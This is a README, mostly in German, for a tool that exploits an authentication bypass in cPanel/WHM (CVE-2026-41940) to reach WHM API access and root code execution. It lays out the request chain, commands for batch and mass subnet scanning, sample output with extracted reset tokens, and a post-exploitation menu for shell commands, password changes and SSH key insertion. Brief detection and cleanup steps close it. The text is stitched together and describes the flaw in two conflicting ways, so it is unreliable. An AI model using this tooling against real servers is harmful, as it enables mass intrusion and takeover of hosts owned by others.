
CVE-2026-41940 — cPanel/WHM Auth Bypass By Dr.Anach, CRLF injection in `cpsrvd` Basic auth handler → unauthenticated WHM API access → RCE as root. All cPanel since v11.40 affected.
Autor: Dr.Anach | Kontakt: @dranach | Lizenz: MIT
CRLF-Injektion im cpsrvd Basic-Auth-Handler → nicht authentifizierter WHM-API-Zugriff → RCE als Root. Alle cPanel-Versionen seit v11.40 sind betroffen.
| # | Schritt | Anfrage |
|---|---|---|
| 1 | Session minten | GET /login/?user=root |
| 2 | CRLF-Injektion | Authorization: Basic <base64> — Passwort enthält \r\n-Payload |
| 3 | Cache-Promotion | GET /cpsess<ID>/login/?login_only=1 |
| 4 | Ausführen | GET /cpsess<ID>/execute/API/func |
pip install requests colorama
Nachfolgend die endgültige README.md – benutzerfreundlich, praxisorientiert und auf die Arbeit fokussiert.
Autor: Dr.Anach · Telegram: @dranach
Version: 2.0.0
Lizenz: Nur für autorisierte Sicherheitstests
Nutzt CVE-2026-41940 aus, eine Authentifizierungsumgehung in cPanel & WHM (Versionen 11.x bis 106.x). Die Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer, auf eingeschränkte Endpunkte zuzugreifen – darunter die Passwort-Reset-Funktion –, indem ein manipulierter Host-Header gesendet wird, der auf einen vom Angreifer kontrollierten Server verweist.
Wird mit drei Modi ausgeliefert:
| Modus | Flag | Zweck |
|---|---|---|
| Einzelziel | -t | Eine IP oder Domain testen |
requestspip install requests
Keine weiteren Abhängigkeiten. Die CIDR-Expansion nutzt das integrierte ipaddress-Modul von Python – unter Windows muss nichts zusätzlich installiert werden.
python main.py -t example.com
python main.py -t 192.168.1.100
python main.py --batch targets.txt --threads 50
targets.txt-Format:
192.168.1.100
example.com
192.168.1.101
example.org
192.168.1.102
python main.py --port-scan 192.168.128.0/18 --threads 100 --timeout 5
Dies expandiert 192.168.128.0/18 (16.384 IPs), führt eine schnelle Portprüfung auf jeder IP durch und versucht nur die Ausnutzung gegen Hosts, bei denen Port 2087 (cPanel/WHM) offen ist.
-t, --target Einzelziel (IP oder Domain)
--batch DATEI Datei mit Zielen (ein Ziel pro Zeile)
--port-scan CIDR CIDR-Bereich zum Scannen (z. B. 192.168.128.0/18)
-p, --port Ziel-Port (Standard: 2087)
--ssl HTTPS verwenden (Standard: HTTP)
--timeout SEK Verbindungs-Timeout in Sekunden (Standard: 10)
--threads N Maximale gleichzeitige Threads (Standard: 50)
--proxy PROXY HTTP-Proxy (z. B. http://127.0.0.1:8080)
-v, --verbose Ausführliche Ausgabe mit Debug-Informationen
--no-banner Banner unterdrücken
--version Version anzeigen
[+] 192.168.130.45:2087 — VERWUNDBAR!
→ Passwort-Reset-URL: http://192.168.130.45:2087/reset?token=abc123
→ Antwortzeit: 1.23s
[-] 192.168.131.10:2087 — Nicht verwundbar
→ Grund: Kein Passwort-Reset-Endpunkt gefunden
[!] 192.168.129.22:2087 — Fehler: Verbindung verweigert
Die Ergebnisse werden als JSON gespeichert und sind pro Host mit Verwundbarkeitsstatus, extrahierten Tokens und Rohantwortdetails strukturiert.
Das Szenario, das Sie wahrscheinlich hierher geführt hat:
python main.py --port-scan 192.168.128.0/18 -p 2087 --threads 100 --timeout 5 -v
So funktioniert es:
192.168.128.0/18 → intern 16.384 IPsThreading-Tipps:
--threads 100 funktioniert gut (respektiert Standard-Socket-Limits)--threads 200--threads 30 reduzieren und --timeout erhöhenCVSS 9.1 (Kritisch) – Keine Authentifizierung erforderlich, keine Benutzerinteraktion, geringe Komplexität.
Host-Header serverseitig validierenDieses Tool ist nur für autorisierte Sicherheitsbewertungen bestimmt. Sie müssen die Eigentümer der Ziele sein oder eine schriftliche Genehmigung des Eigentümers haben, bevor Sie testen. Die Autoren übernehmen keine Haftung für Missbrauch.
help Befehle anzeigen
info Serverinformationen
passwd Passwort ändern
accounts cPanel-Konten auflisten
enum Vollständige Aufzählung
shell Systembefehl ausführen
ssh-add SSH-Schlüssel einfügen
exec Python-Einzeiler ausführen
exit Beenden
Sitzungsdateien prüfen:
ls -la /var/cpanel/sessions/raw/
ls -la /var/cpanel/sessions/cache/
Verdächtige Logs in /usr/local/cpanel/logs/access_log:
/login/?user=root → Session minten
/login/?user=root → CRLF-Injektion
/cpsess*/login/?login_only=1 → Cache-Promotion
/cpsess*/execute/* → API-Missbrauch
# 1. Auf behobene Version patchen
# 2. Alle Passwörter und SSH-Schlüssel rotieren
# 3. Sitzungen löschen
rm -rf /var/cpanel/sessions/raw/*
rm -rf /var/cpanel/sessions/cache/*
systemctl restart cpanel
| Batch-Datei | --batch | Liste von Zielen aus einer Datei laden |
| CIDR-Scan | --port-scan | Subnetz expandieren und jeden aktiven Host testen |